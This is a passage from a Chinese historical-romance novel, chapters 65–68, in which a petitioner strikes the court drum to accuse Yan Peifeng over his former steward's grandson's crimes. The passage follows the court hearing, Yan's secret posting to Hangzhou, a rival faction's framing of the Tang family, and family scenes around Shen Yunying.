“唐家所求,应一半就是。为唐家得罪宁王,不值。”钱兴斌摇摇头,都知道皇上念旧情,宁王府只剩下孤儿寡母,敢欺上门去,就得当心皇上反手一巴掌打过来。 许先生为女色心动,但权势更重,不再为唐家说话,“唐家一方皇商,家资不少,但还远远不够。” 钱兴斌听明白许先生的意思。 夺嫡争位,处处花钱。钱兴斌掺和盐税茶税,除了自己缺钱,还不是为了二皇子和钱侧妃的儿子计? 钱兴斌锐利的眼神扫过许先生,“唐家聪明,”知道用财打动他夫人、利用美色笼络许先生,“但是还不够聪明。” 明面上的人手,他怎么可能让其财富大涨? 许先生对上钱兴斌那双看穿一切的眼神,心头一惊,忙起身禀明忠心,“大人!” 钱兴斌摆摆手,“先生不必多虑,唐家不过是小事。”态度与方才一样从容,“我们接着下。” 等走出书房,冷风一吹,许先生打一个哆嗦,惊觉背后冒出细细的冷汗。 方才棋局上,钱兴斌暗暗敲打,幸好他更重权,美色享用享用就是,不可沉迷啊。 —— 腊月送年礼,正月赴年宴。就是沈云楹想偷懒,年前年后也得支棱起来走动。 直到正月十二,沈云楹才在铮然居过起日上三竿起床的好日子。她不出门,约了京城千喜班来府里唱戏。 除夕宴回来后,沈云楹就打算着买一个小戏班回来,慢慢培养,宴请的时候也能用上。 年后事忙,京城的大小戏班子戏约都满满当当的。质量高的小戏班子多在南边买卖,沈云楹就打消买的念头,只约了千喜班来唱。 燕培风不知在忙些什么,衙门都没开印,他就忙的早出晚归。开始沈云楹以为他在忙范州老管家那件事,后来觉得不是,下人背主这点事,不值得燕培风忙碌至此。沈云楹就没去打扰燕培风,千喜班只能她独自享受了。 沈云楹在公主府优哉游哉地过了两日。 正月十五,元宵这日,晴了半个月的京城又下起小雪。漫天的雪花飘然落下。 “夫人,下雪了,您还出去吗?”银屏望天,有些担心。 沈云楹系上披风,伸手去接雪,“这么小的雪,没事。我们早和林夫人说好的,城外施棚盖得厚实,不会太冷。”叉转头吩咐,“银筝,带上手炉。” 林夫人是京兆府尹林大人的妻子,燕培风和林大人谈好捐赠的时候,就定下两家夫人去城外走一趟,立立好名声的大好事。 出了城门,施棚用料扎实,沈云楹在里面没有觉得多冷。就是林夫人没能来,她家嬷嬷百般赔罪,林夫人感上风寒,不能来了。 沈云楹觉得没关系,她自己也行。 一个时辰后,银屏来提醒该回府了。沈云楹刚从粥棚出来,排队领粥的男子突然倒下,吓了所有人一跳。 沈云楹反应过来,喊人来扶起他,吩咐粥棚的管事,“送去临时棚内歇一歇,再送去一碗浓稠的粥和棉衣。” “多谢夫人救命之恩。”男子挣脱开扶着他的人,跪地拜谢。 那男子衣裳破旧,脸上手上被风雪吹破好几处,嘴唇皲裂开,声音沙哑难听,仿佛好久没有说过话。 “只是举手之劳,你也是灾民,一碗粥一件棉衣是你应得的。”沈云楹温声道。 谁知,那男子说:“草民不是灾民。草民必须来京城,寻一个公道。” 这话一听就有隐情。 沈云楹心下叹口气,“你若有路引,我就让管事寻一辆车送你进城。” 男子心里有些失落,不过并不失望,能安全进京城,就是这位夫人帮扶自己了。他再次磕头,“范某深谢夫人。” 经过这事,沈云楹回去的路上心情不甚好,银筝想到海外斋的木片拼图,提议道:“夫人,要不要去海外斋看看?那里的东西新奇又难得。” 沈云楹也想散散心,“那就去吧。” 海外斋在长安大街,沈云楹直上二楼,看新进的珍品。谁知,还没开始细看,外面就响起咚咚咚的鼓声。 一声接着一声。 沈云楹惊讶问:“是登闻鼓?” 银屏和银筝脸上全是震惊,第一次亲耳听到登闻鼓的鼓声,她们也不敢确定。还是掌柜的见多识广,点头道:“夫人好耳力,就是登闻鼓。这边有个包厢恰好能看到登闻鼓,夫人请。” 海外斋距离登闻鼓不远,二楼视野好能看清,但是诉冤人声音不高,听不清楚诉状。 沈云楹刚站到窗台前就认出敲鼓人。 “是城外的那个人!”银筝拉着银屏的胳膊。 这时,楼下的伙计急急上楼,“掌柜的,打听到了。那人状告前科状元燕培风!” 沈云楹立刻转身,“告谁?” 伙计高声回:“前科状元燕培风。” 沈云楹:我这是资敌了? 第65章 狐假虎威 坤宁宫。 皇上正和皇后商量与民同乐, 元宵出宫赏灯会,就他们老夫老妻出门逛逛。 太子最近和太子妃黏糊得不行,两人满心满眼都在未出世的孩子身上。至于后宫嫔妃, 让她们在后宫自行宴请。 刚说到穿什么衣裳出去,带什么礼物回宫给儿孙, 登闻鼓咚咚咚的鼓声传进皇宫。皇上登时面色一变, 急忙站起身走出坤宁宫, 听得更真切,确定没听错后, 当即吩咐:“叫京兆府尹过去。” “令刑部、大理寺、都察院来文德殿。” 皇上心底又惊又恼,今儿是元宵节!全京城都欢欢喜喜地等着晚上赏灯逛街。结果登闻鼓响了!可想今后多少年百姓口中,还有史书上会怎么写他? 登闻鼓,自古象征意义大于使用意义。这属于越级直诉, 在面见皇上陈情前,敲鼓人要被鞭笞四十,若案情不实, 便要仗责一百、充军流放。若非有大冤情,没人会来敲鼓。 到底是什么大案子?皇上脑子里不停的猜测, 案子能交给谁?现在朝局,最好要怎么动, 顺便安插一下自己人。 皇后担忧跟着离开坤宁宫,宽慰道:“皇上,先喝杯热茶,别当场骂人撒气。” 皇上摆摆手,“朕先去文德殿。”在敲鼓人进宫前,先了解一下事情经过。 前朝开始,诉冤人要一边敲登闻鼓, 一边口述冤情。一来要让百姓知道这人的冤情,二来以防挨不过鞭笞,官府有心也能深入调查。毕竟也是一条人命。至于查与不查,端看皇上。 刑部、大理寺、都察院的官员纷纷进入文德殿。刑部尚书和大理寺寺卿对视一眼,皇上定在文德殿问话,就能看出皇上的重视程度。 当今皇上有个习惯,大小朝会在文德殿,日常处理政事多在勤政殿。 皇上高坐龙椅,两道粗眉深深蹙起,底下的官员猜度他的心思,不知皇上的恼怒是为登闻鼓,还是为燕培风。 过了两刻钟,侍卫左右架着一个人进入文德殿,这人颧骨高高凸起,身形消瘦,身上带着点点血迹。这件棉衣看着有点眼熟。 皇上定睛一看,这是燕培风和京兆府尹在城外赠送的棉衣,想到这点,皇上的嘴角抽了抽,燕培风这小子故意的? “草民范广侑拜见皇上,皇上万岁万岁万万岁。”范广侑浑身疼得不行,忍着疼痛勉强跪下。 “免礼。念在你刚受过刑,不用跪着,汪泉,给他一个担架。”皇上倾身向前,细细打量一番范广侑,从这名字,再听他说话,应是读过书的人,沉声道:“你敲了登闻鼓,按照规矩,朕在文德殿召见你,三司会审。你有何冤情,尽可说来。” 范广侑依然跪地磕头,泣声道:“草民范广侑,范州陵江县人。祖上曾任过四品衢州知府,留下不少家资。到草民祖父,不喜读书,败坏大半家业,唯剩下醉仙楼,因有知府夫人的干股,祖父不敢买卖。草民父亲读书平平,却擅经营,让醉仙楼成为范州最大的酒楼之一。” “奈何树大招风,财多引人觊觎。燕培风燕大人管家之孙燕恩抢夺产业,除了醉仙楼,草民家中百亩良田,全被夺走。我家去知府告状,那燕恩拿出一份假契书,非说我家用这些产业抵债,欠债还钱天经地义,知府便不予理会。 产业没了,我们家只能吃闷亏,谁知那燕恩还不肯放过我们。我父亲断腿、母亲重病,还抓走妻儿,要草民卖身为他办事。 我忍着满心苦闷,为父母治病、为妻儿过得好些,帮燕恩做事。谁知,燕恩还不肯放过我们。他竟然要杀了我满门。幸而世叔好心,得知消息立即来提醒我,我才能逃过一劫。” 范广侑说得泪流满面,他慈爱的父母、娇妻幼子,全都死在燕恩手上。他磕磕绊绊终于来到京城告状。 但听说燕培风是皇上的亲外甥,不知道能不能得到一个公道。 可是,除了登闻鼓,他也想不到别的办法。只能赌一赌,好在世叔帮他一把。 老实说,这件事只能算是小案。虽然涉及范家满门,但真不是大事。刑部侍郎是个取巧的性子,眼神在范广侑和御座台阶之间犹豫,要不要站出来为燕培风说话,给皇上一个台阶。 非大案、惨案、奇案,又非谋逆案,前来敲登闻鼓,范广侑反要被惩戒。或是加打板子,或是贬去做苦力一年。 不等刑部侍郎说话,皇上先开口了,“只有片面之词,不能定案,你有没有证据?” 范广侑心中一喜,小心翼翼从胸前取出一个小布包,“草民有!” 这里有世叔偷盗来的那份假欠债契书,他自己私下调查燕恩雇佣闲帮害他家的口供。当然还有一些别的罪证,是燕恩买卖官职的契约、强占民女的证据。 范广侑心里想的是,他家满门的死扳不倒燕培风和燕恩,那加上行贿卖官、强抢民女,应该够用了吧? 皇上一目十行,粗粗扫过,就让汪公公送到三司手中过一遍。 这些大人以为只是范家事,早想出几个应对方案,哪知范广侑又抛出买卖官职的证据?这就涉及整个朝堂的利益了。 从吏部到地方都有一些官职可以买卖,那都是虚职。哪里跟范州一样,连实职都敢买卖!这样的事,大家心照不宣,你好我好大家好,就是不能搬到台面上,否则朝廷脸面尊严何在? 还好吏部尚书不在,不然非得气晕过去,范州知府太不会办事。 在场的刑部尚书、大理寺寺卿、都察院左御史互相看看,暗自斟酌。 倒是先前弹劾过燕培风的王御史,立即为自己正名:“皇上,燕大人的家奴嚣张至此,他这个主子怕也是个表面清正内里不堪的伪君子!” 左御史叹口气,后悔让王御史过来,赶紧站出来说:“王御史稍安勿躁,证词上都说了,燕恩已经脱籍,是良民,非燕家奴仆。” 刑部尚书冷声道:“狐假虎威,没有燕培风,何以有燕恩?” 大理寺寺卿微微一笑,“皇上,依微臣看,不如听听燕大人怎么说?” 上首的皇帝纵观全场,转头吩咐汪公公,“汪泉,宣燕培风进宫。” “奴婢遵命。”汪泉匆忙退下。 —— 有人敲登闻鼓告燕培风的消息像一阵风,迅速传遍全京城。 沈云楹在海外斋待不下去,立即回公主府,一边派身边的护卫去告知燕培风。她脑子里一会儿是那个衣衫褴褛的男子被鞭笞浑身是血的样子,一会儿是燕培风辩解无门,双拳难敌四手的模样,越想面色越是难看。 沈云楹忽然想起那男子说过他是范州来的。范州,难道和燕老管家、燕恩有关系吗?她重重捶一下小茶几,燕培风以前做事很利索,怎么这次动作这么慢? 早该速速清理门户,派人上门道歉,赔偿损失,彻底解决此事,不留隐患才是。 马车还没到公主府门口就被迫停下,沈云楹掀起车帘,吩咐:“去看看怎么回事?” 护卫刚走,前面就传来马蹄声,沈云楹好奇一看,竟是燕培风,她忙探出头问:“你知道登闻鼓的事没有?” 燕培风点点头,“嗯,皇上宣召,我马上就带祖父进宫,祖母还要劳烦你照看。” 沈云楹毫不犹豫应下,心里焦急,一时不知从何问起,最后只能抿唇道:“你,当心些。” 燕培风却不换不忙,面容冷静,看到沈云楹焦急不安,轻松道:“螳螂捕蝉黄雀在后。我在范州查了这么多天,怎会没有准备?” 闻言,沈云楹心下稍安,拉着他胳膊小声问:“你真有把握?” 燕培风微微颔首,还没来得再说什么,汪公公就领着燕祖父过来,捏着嗓子提醒道:“燕大人,时间不早了。” 汪泉也不想得罪燕培风,但是时间紧急,皇上和大臣都在文德殿等着呢。他在嘉荣公主府耽误不少时间了,燕祖父年纪大了,又不能赶路进宫。还有那范广侑,受过刑,不知能挨多久。汪泉心里是真着急。 “好,”燕培风勒马走两小步,离沈云楹更近,低声道:“放心。” 燕培风的镇定从容让沈云楹惊疑不定的心安定许多,她温声道:“我和祖母等着你回府。” 目送燕培风一行人离开,护卫回话道:“夫人,前头是老太爷和老夫人的车架。” 沈云楹朝前看了看,“祖母在前面吗?” 护卫摇摇头,“老夫人已经进府,前面在卸行李。” “先叫前面让开,我要进府。”沈云楹想早些去到燕祖母身边,宽慰一二也好。护卫去传话,她对银屏道:“祖母的院子,上次打扫是腊月?” 银屏:“是五天前,底下人收拾收拾,今晚就能住人。” 燕老夫人的院子虽然没人住,银屏一直吩咐底下人时时打扫的,燕培风的长辈少,银屏就对老太爷和老夫人格外重视,一定要让燕培风看到沈云楹的用心和孝心。 沈云楹松口气,燕祖父和燕祖母来得匆忙,她还得安排后续的事情,“炭盆、衣裳、厨房,都要安排下去,还有王大夫,叫来候着。” 大冬天的赶路,得让王大夫把把脉,别再路上亏坏身子。 银屏一一应下。 半年多不见,燕祖母依然和蔼温柔,就算家里遇上事,看到沈云楹的瞬间仍然露出微笑。 沈云楹匆忙上前福身,眼含关切:“见过祖母。” 燕祖母拉住沈云楹的手,“别多礼了,来我身边坐。” 第66章 躲过一劫 紧赶慢赶进京, 燕祖母神色疲倦,但丈夫和孙子都被叫进宫,她满心担忧, 压根不能安心歇息。看着明媚动人的孙媳妇,燕祖母想起此事由他们老夫妻而起, 不禁道:“唉, 这回是我们御下不严, 连累了你们。伴君如伴虎,古往今来, 帝王连亲子都能下手,何况外甥,不知道培风怎么样了。” 沈云楹亲眼见过皇上与燕培风的相处,觉得这是位很有人情味的皇帝。而且, 燕培风正受重用,没有和皇上交恶,沈云楹怀疑就算燕培风真的有错, 皇上八成会选择护短。 她暗中算算燕培风的身家,要是贪财, 他多的是方法和手段。范州一个醉仙楼才值多少钱,值得他沾上人命?燕培风的眼皮子不至于这么浅。再想想燕培风刚刚胸有成竹的样子, 沈云楹心底就对他有了信心,燕培风应该能应对? 沈云楹宽慰道:“祖母,咱不说皇上是看着夫君长大的,会不会偏着他。单论这件事,我相信夫君的清白,燕恩是早早放出去的人,不是咱们家家仆。夫君最多当一回狐狸后面的老虎, 还是不知情的老虎。” 其实沈云楹对告状的范广侑更担心。他家破人亡,一心来京城诉冤屈,但范家之事真的影响不大。 就京城这块地方,仆从仗着主家为非作歹的事,还少吗?沈云楹刚开始拿庄子练手的时候,佃农中就流传着数不清的例子,平民百姓的良田被霸占,成为佃农,再卖身变成仆从。这还算好的。有的被勾着染上赌,有的被痛打一顿,等钱花光,没多久也就家破人亡了。 而衙门中的固执官员会严格执行登闻鼓的规矩,追究范广侑的罪责。小事动登闻鼓,轻则仗责,重则流放充军。 燕祖母理智上明白这就是个小坎,但情感上放不下,听着沈云楹的宽慰之语,知道孙媳妇没有埋怨之意,心中欣慰,认为沈云楹宽厚大方,果然是个好的。难怪当初皇上皇后就看中沈云楹,赐婚给燕培风。 燕祖母频频点头,“这事儿我和你祖父都不知道,培风就更不知道了。老管家勤勉老实一辈子,指着脱籍的孙子能读书科举,改换门庭,没成想燕恩是个不成器的,可怜他老来还要跟着担心丢人。” 沈云楹不知其中内情,但她知道燕家对老管家不薄,有钱有人脉能供燕恩读书,为何燕恩长歪。她猜测还是老管家自家的问题。 她没见过燕老管家,自然不会有这么多感慨和同情。 沈云楹也不会直接反驳燕祖母的话,面上应和道:“是呢,所以孩子就得从小教好,不能在外惹是生非。” “我听府里的老人儿说,夫君幼时在祖父祖母跟前待过?夫君能有今日,可见您善于教导孩子。” 话题就被沈云楹带歪,燕祖母想起两三岁时候的燕培风。嘉荣长公主和驸马感情好,又自知身体不太好,不放心把燕培风全交给下人,就主动说要麻烦婆母看顾孙子。 当时,燕祖母便是住在现在这间院子,照看燕培风,一直到他开蒙,搬去前院住。 那是燕家人最多的时候,日子温馨欢乐,燕祖母双眼流露出怀念,她笑道:“那时候,皇上就时常宣召培风进宫了。有一次太子送他回来,还问公主,能不能把培风送进宫,给他当弟弟。” 如果不是皇上皇后和太子,宫里最要紧的主子都看重燕培风。燕祖父和燕祖母也不敢回范州,把燕培风交给皇家教养。 沈云楹不着痕迹松口气,和燕祖母聊起燕培风幼时之事。 时间一点一点过去,暮色四合,沈云楹陪着燕祖母坐了许久,外头还没消息传进来,燕祖母就道:“你也累了一天,不用在我跟前辛苦,回去歇一歇吧。” 和沈云楹说半下午的话,燕祖母的心情好多了。 一百步都走了九十九步,不差这最后一哆嗦。沈云楹笑道:“祖母,孙媳可不想回铮然居孤零零的用晚膳。您就多留我一阵吧,我给您盛汤添菜。” 正好银筝来问,“老夫人,夫人,厨房那边来问,何时摆膳?”如今天冷,饭菜凉得快,厨房的人真想可着时辰做菜,最好送上来的时候是热乎能入口。 沈云楹期待望向燕祖母。 燕祖母:“就现在吧,不能因为他们没回来,我们就不用饭了,”转头对沈云楹道:“等下多进一碗燕窝,滋补身子。” 沈云楹笑着应下。她心里嘀咕,燕培风不会没做成黄雀,反被人瓮中捉鳖吧?怎么拖到这么晚还没回来? 饭毕,燕祖母担忧更甚,沈云楹瞧着出她很累了,就没再主动寻话题跟她聊天,只在旁边安安静静的陪着。 燕祖母心绪不宁,一会儿看看时辰,一会儿催人去宫门口等着,要第一时间接到燕祖父和燕培风。 好在戌时初,燕培风和燕祖父冒着风雪回来了。 “祖母。”燕培风先看向燕祖母,接着转向沈云楹,见她精神尚好,轻声喊:“夫人,我回来了。” 沈云楹心中大石放下,朝他微微一笑。 燕祖父直奔桌前坐下,狠狠灌一口热茶,从喉咙暖和到胃部,“总算过了,太久没上朝,今儿差点撑不住。” 燕祖父辞官休养许多年,在家懒散惯了,骤然面圣,又在朝臣面前应对,真是身心俱疲。 “祖父累了,您早点歇息,明日孙儿再来。”燕培风倒看不出疲累,对燕祖母道:“祖母,祖父和孙儿都没事,您不用担心。” 燕祖母神色轻松,心疼孙子的心多过追根问底的好奇,忙催促燕培风去休息,“云楹,培风就交给你照顾,你多上心。” 沈云楹微笑:“孙媳知道。” 看着大孙子孙媳妇并肩离开,燕祖母转头就问燕祖父,“老爷,我打算把族田交给孙媳妇打理。” 燕祖父一愣,“你不是念叨着要等重孙子出生,再交给孙媳妇吗?” 燕祖母坐下叹口气,“这不是觉得对不住他们小夫妻吗?经过这事儿,我们两个真的老了,族田不能出差错。” “云楹都嫁进来半年多,还没有消息,一托又是一年,太久了。” 燕祖母没说,她本来打算今年三月,燕培风生辰时来京城暂住,顺便提醒一下沈云楹早些诞下子嗣。如今范广侑的事一出,她不好意思再催促。 再等一阵吧,燕祖母想,等这事儿彻底过去。老话说冬日好滋补,趁着这个冬天,她就让沈云楹多补补。 —— 沈云楹在自己还没意识到的时候,就成功躲过一劫。要是她知道,一定大呼庆幸。皇后的催促,沈云楹不痛不痒,皇后态度松又不是正经婆母。燕祖母不同,沈云楹真不好敷衍。 铮然居暖和,沈云楹回到熟悉的院子,浑身放松,拖了披风直接坐在暖炕上,接过银筝端来的热茶,目光热切地问:“夫君,具体怎么回事?” 她很想知道,范广侑告状的后续。 燕培风坐到对面,直接说结果:“范广侑在驿站养病,有太医亲自看诊。燕恩一干人押送刑部大牢。” “但这事没完。” 燕培风就将事情缓缓说来。 燕老管家办差事忙,没多的心思教养孙子。燕恩自幼受宠,老管家家底不薄,养出他天真的少爷脾气,人傻就好忽悠。他先被人撺掇着抢醉仙楼,然后是捐官,向范州知府买了一个同知虚职,彻底扬眉吐气。 接下来的事情就不是燕恩能管住的了。燕恩手下有一个门客,叫曹秋江,哄着燕恩做下种种恶事。 像醉仙楼,为什么要灭口呢?曹秋江的理由是怕范广侑卖醉仙楼的独门秘方,影响生意,不能盈利。 哄着燕恩卖官,帮有钱的少爷牵线,从虚职到实职,少的三五千两,多的万两。曹秋江忽悠燕恩,这样能广交人脉,将来处处是朋友。 燕培风的人刚到范州就发现其中的猫腻,说服燕老管家,想抓住曹秋江的证据。同时,又拖了范广侑的几日,不然范广侑还会早五六日进京。 沈云楹听得其中还牵扯到卖官鬻爵,难怪燕培风拖这么久才回来。这种事闹到皇上面前,朝廷上上下下都没脸。 “那曹秋江也下狱了?”沈云楹前倾,好奇问:“他背后的人是谁?” 燕培风得罪了谁? 沈云楹掂量着,这样的手法,不像大仇怨要害燕培风,更像轻轻撩拨一下,让燕培风吃亏。顺着这个思路,沈云楹又问:“皇上要怎么罚你?” 从白日的担忧,到尽心宽慰祖母,再到此时接连的问题,看着沈云楹紧张自己,燕培风微微扬起唇角,他耐心的一一回答。 “曹秋江就在刑部大牢。” “暂且查不到幕后是谁。但曹秋江是京城口音,等着看有谁去探监,再摸着线索往下查。” 就是因为查不出来,燕培风和皇上怀疑是冲着户部税收来的。所以要把人放在刑部大牢,等底下的大鱼上钩。 至于最后一个问题,燕培风轻咳两声,有些不自在道:“应该要外任。” 本来没有那么快外任。 皇上计划让燕培风在户部待两三年,谁知江南盐税那边接连损失三个钉子,正巧收到折子,现任杭州知府马上风猝死。 燕培风遇到登闻鼓这事,江南难得有一个空缺,还恰好碰上年节,朝廷未开印。皇上就想趁着朝臣没反应过来,直接让燕培风占住杭州知府的位置。 沈云楹懵了,以为燕培风要贬官,震惊地问:“皇上要贬你哪儿?” 脑子里迅速闪过穷乡僻壤的州县,去西南?东北?还是南蛮? 第67章 依仗 沈云楹的神色太好懂, 燕培风低笑一声,“你想哪儿去了?” “皇上收到急件,现任杭州知府没了。” 沈云楹心领神会, 这时候说有缺,就是暗示了。她心里奇怪, 一时想不出皇上是责罚还是褒奖, 凝眉问:“杭州府是江南富庶州府, 可你到户部没多久?” 燕培风深吸口气,温和从容的眼眸闪过一丝慌乱, 他得跟沈云楹坦白底下的暗流。 于是,燕培风从这几年朝廷征收的茶盐铁税收减少开始,三言两语概括皇上调他到户部、杭州的意图。 “明面上任杭州知府,暗地里是去查盐税。”燕培风总结道。户部是账册总揽, 去了江南,就专查盐。 沈云楹听得心惊,“那你不会有事吧?”燕培风才入官场, 就接这么要紧且麻烦的差事? 沈云楹记得前朝有位江南两省盐台,私自挪用未来两年的盐税上贡给皇子夺嫡, 面上的账册做得滴水不漏,京城丝毫没有收到消息。最后事败, 才被新皇判斩立决。 现在太子地位还算稳固,没有激烈的夺嫡争斗。然而自古盐税难肃清,个中猫腻太多了。明面上做假账反而是小儿科,那就是用来应对朝廷清查的。 沈云楹敬佩又纠结地看燕培风一眼,仿佛在看一个很可能英年早逝的好官。 水灵灵的杏眸,情绪毫不遮掩,燕培风只对上片刻就明了。沈云楹在担心他, 舍不得他吃苦为难。 “不敢说没有风险,我们已经做了许多准备。”燕培风握住沈云楹的柔夷,因为顶着杭州知府的头衔,不是明面上的盐科督察,安全性大大提高。 皇上又交予他一些江南的人手,今日在宫中就商量了一个多时辰,等到宵禁后才回府。 燕培风自然不会细说具体安排,但表露出来信心和决心,让沈云楹安心。 沈云楹便不追问,用事后算账的眼神睨他一眼,“你先前没说祖父和祖母要来?”还好她回来的巧,不然燕祖母该怎么看她? 不怕燕祖母对她有意见,就烦燕祖母对后院指手画脚。 这事燕培风理亏,他哪能争辩?直接赔罪道:“是我考虑不周,夫人原谅为夫一回吧?” 今晚说这么一会儿话,燕培风就理亏两次,他腰杆子硬不起来。 沈云楹展颜一笑,“祖母赶路疲乏,我让王大夫诊过脉,喝两天药调理一下。明儿也给祖父瞧瞧?” 天寒地冻的,两位老人家赶路不易。 “好。”燕培风对祖父母的身体很上心,沈云楹不提,他自己也会这么做。但是沈云楹做在他前面,这种家人相依的感觉,熟悉又陌生,让他心间生暖。 燕培风指尖的薄茧轻轻划过沈云楹的手背,沈云楹稍稍用力抽出,反被握得更紧。 清辉莹莹,烛火灼灼,燕培风的脸仿佛染上一层灰蒙蒙的薄雾,沈云楹抬头就能看到他俊眉低垂,唇角下压。 燕培风应该很累了。 刚才在燕祖父燕祖母面前还神采奕奕的人,现下显露出疲倦之色。 燕培风眼眸微阖,似是在思考,又似在养神,沈云楹便没再挣扎,任由他握着。 —— 嘭! 钱家书房传出茶盏碎裂之声。 许先生心头一跳,余光瞥见钱兴斌气得胡子抖动,他这位主家养气功夫一向好,这回真的动怒了。 “曹秋江的事,办成没有?”钱兴斌的声音浑浊暗哑,如锋如刃刺入许先生耳中。 许先生忙回道:“成了,他会招供唐家。” 钱兴斌低低嗯一声。 唐家最合适。唐家巴结燕培风不成,恼羞成怒算计燕培风,有动机。 前脚唐家来投,后脚就要推唐家出去背锅。他丢一回面子。还得找燕培风说几句软话,再次丢面子。 一点小事都办不好,暴露曹秋江一颗棋子,差点牵扯出他的人手布局。 “吏部传来消息,皇上要放燕培风出京。” 许先生喜道:“这是好事啊。” “江南刚空出杭州知府的位置,”钱兴斌冷哼一声,“皇上是真疼爱这个外甥。是褒是贬,谁心里没数?” 许先生眼神一转:“江南富庶,也得看燕培风能不能接住。江南局势错综复杂,我们的人花了几年才扎下根基。燕培风初来乍到,不如就让江南的人好好迎接新任杭州知府。” 钱兴斌摇摇头:“最好拦住他。要是燕培风折损在杭州,恐怕牵连太广。” 没有万全把握,钱兴斌不想要燕培风的命。皇上待他如子,皇家不比别家,疼爱除太子以外的皇子,会影响前朝。但疼爱外甥不会。燕培风还是独苗,要是断了嘉荣长公主和燕驸马的香火,皇上不会轻易罢休。 “除了我们准备提上去的人,再加几个清流和勋贵人选。”钱兴斌这边也收到杭州知府空缺的消息,本来准备推自己人上去,现在只能换个策略,联络各方的力量打消皇上和燕培风的如意算盘。 许先生忙应下。 曹秋江是钱家暗地里培养的人,专门负责处理脏事。当然,要让钱兴斌放心,必然要握着曹秋江的软肋。 所以,曹秋江的事很顺利。刑部审了三日,曹秋江终于吐口,是唐家指使他干的。 刑部动作很快,立刻调查出燕培风与唐家的恩怨。而唐家供认不讳,五日后,刑部结案,大理寺与都察院没有异议,皇上下旨,褫夺唐家皇商名号,家产充公,唐家主脉男女流放三千里,五岁以下孩童可免罪责。 唐家树倒猢狲散,偌大一家皇商,不过几日,就消失在繁华热闹的京城。 受唐家牵连的很多,而被送到门客先生的杜冰淼也是其中一个。 之前有唐家撑腰,杜冰淼虽为妾室,日子却很舒适。上回连累许先生在钱兴斌面前被敲打,杜冰淼就没了冲冠后院的势头。这次唐家倒下,许先生前后有半个月都没进过杜冰淼的房门。 东风压倒西风,许先生的正妻和其他妾室纷纷落井下石。杜冰淼被立规矩,浑身又累又疼,每天还得听那些明嘲暗讽的话语。 杜冰淼气得捶床,都怪燕培风,若是他当初能让自己进门,若是燕培风不害唐家倒台,自己怎么会过这种苦日子! 她嫉恨中想法子报复燕培风的时候,刚好偷听到薛夫人的嬷嬷在和她家孙女念叨京城各家的人和事,其中就有燕家。杜冰淼不禁留神细听。 嬷嬷回到正院,禀报道:“夫人,那位姨娘听到了。”她还是不放心,“她真的会有动作吗?”嬷嬷觉得杜冰淼一介低贱的妓姬姨娘,不能办成什么事。 “会的。”薛夫人笃定道。 薛夫人有信心,唐夫人聊天时提起过,杜冰淼是个手段的。她特特安排丫鬟挑起杜冰淼对燕培风的仇视。猫儿狗儿都有自己的道道,何况一个在下九流培养出来的女人。 薛夫人始终想对付燕培风,只有死人的嘴才最可信。涉及儿子、孙子,还有她后半辈子的荣华富贵。 在燕培风威胁过后,她就让人将外室和孩子送去自己的嫁妆庄子,抹了他们在花枝巷的痕迹。 胡茂清落难,胡家嫡女是罪臣之女,连做妾都不配。薛夫人新物色的闺秀有沈太师家嫡长孙女沈云芝,福宜公主家的庶女骆韶菲,还有工部侍郎的长女张钰欣。 年下这些时日,薛夫人细细考察过这三个女孩儿,面上都是好的,底下都有一些把柄,方便她拿捏儿媳妇。 儿女都是债,薛夫人剪下横生出的一截梅枝,她做的一切都是为了自己的儿子。 —— 衙门刚开印,办的第一件案子就是范广侑之案。等到唐家定罪,刑部结案,燕培风外任的还没定论。 沈云楹从刚得到消息那两天心里不踏实,回太师府探望蒋文笙时闷闷不乐,到现在能悠悠闲闲的和蒋文笙打叶子牌。 因为没彻底定下,沈云楹没同蒋文笙说外任的事,只用过年蒋文笙生病她不放心当理由,才会常常登门。 沈云楹刚赢下一局,外头就传来银筝焦急的脚步声,“夫人,管家来了。” 沈云楹奇怪,“来了就见见呗。”管家是太师祖父的人,又不能拒之门外。 “让管家进来。”蒋文笙吩咐人去引路、沏茶,领着沈云楹去侧厅见。 管家规矩行礼,笑呵呵地道:“老太爷今儿收拾库房,知道三姑奶奶回府,心疼您来回辛苦,特意吩咐奴才送一些东西过来。” 六个紫檀木箱子摆在外面的庭院。 直到管家离开,母女两个都没回过神,蒋文笙就问:“你祖父,怎么突然心疼起孙女来了?” 沈云楹直愣愣的回:“您在家里都不知道,我就更不知道了。” 还是银筝回来解惑,她神色古怪道:“管家说,三姑娘安分从时,没给家里惹事,是个好的。” 原来沈老太师这个年被老妻和后宅之事烦得头疼。家里就三个孙女,还能争得脸红脖子粗。除了沈云楹省心,那两个大的,尽会闹腾。 沈云楹福至心灵,“难道祖父被她们两个闹烦了?借我敲打一下?” 人在家中坐,礼从天上来啊。 蒋文笙不可思议的点点头,公公真就这意思。鹬蚌相争渔翁得利,她闺女啥也没干,就这么成了收获满满的渔翁? 沈云楹陪嫁的时候,沈老太师送过一箱子珍品字画。这次又送来几大箱子好东西,恐怕这会儿大房和二房已经得到消息,又要说好东西明珠暗投了。 沈云楹安心的收下礼物。 她扫过单子,文房四宝,书房清供,书籍典藏,生活雅器,琴、香道茶器、金石拓片等等。全是适合文人的珍品。也是,太师的库房,哪能有庸品? “这件状元及第的玉镇纸,给大表哥,”沈云楹又指着桃李图、定窑紫砂壶茶具,“这两件,就给外祖父。” 等分配完蒋家,沈云楹看到有一支紫檀雕竹节狼毫笔,上次送了燕培风砚台,这次就送狼毫笔。 母女两个对着礼单指点一通,心情甚佳。 蒋文笙突然道:“高恒上京了,被你外祖父逼着来考举人。还放话说不考上不能离京。明日悦来楼,高鑫为他接风洗尘,你也去坐坐吧。” 她心里为沈云楹的今后打算,女子有娘家依靠与没有,天差地别。她自己就是个例子。若不是她父亲蒋宜在清流中有名望,沈家老夫人会更过分。 蒋文笙希望沈家堂兄弟靠不住的时候,沈云楹还有蒋家的表兄弟可以依仗。 第68章 收账 翌日中午, 沈云楹带着银筝去悦来楼为蒋高恒接风洗尘。 二楼临窗雅间,沈云楹刚进来就看到蒋高恒愁眉苦脸地独自坐在餐桌前。 “二表兄。”沈云楹笑着进包厢,许久不见, 蒋高恒没了上次的纵意洒脱,眉宇萦绕着大大的忧愁。 蒋高恒一看到沈云楹, 起身道:“表妹来了。”他只看一眼就知道沈云楹日子舒坦, 面如满月, 脸如明珠,气色红润, 心里稍稍放心,看来燕培风在朝廷的事对沈云楹影响不大。 沈云楹惊讶问:“大表兄还没到?” 今日是蒋高鑫做东道主,他应该是最早到的,蒋高鑫性子严谨, 应该会早早到才是。沈云楹惊讶过后,就开始担心他是不是遇上事情了。 “大哥应该快到了,方才小厮来报, 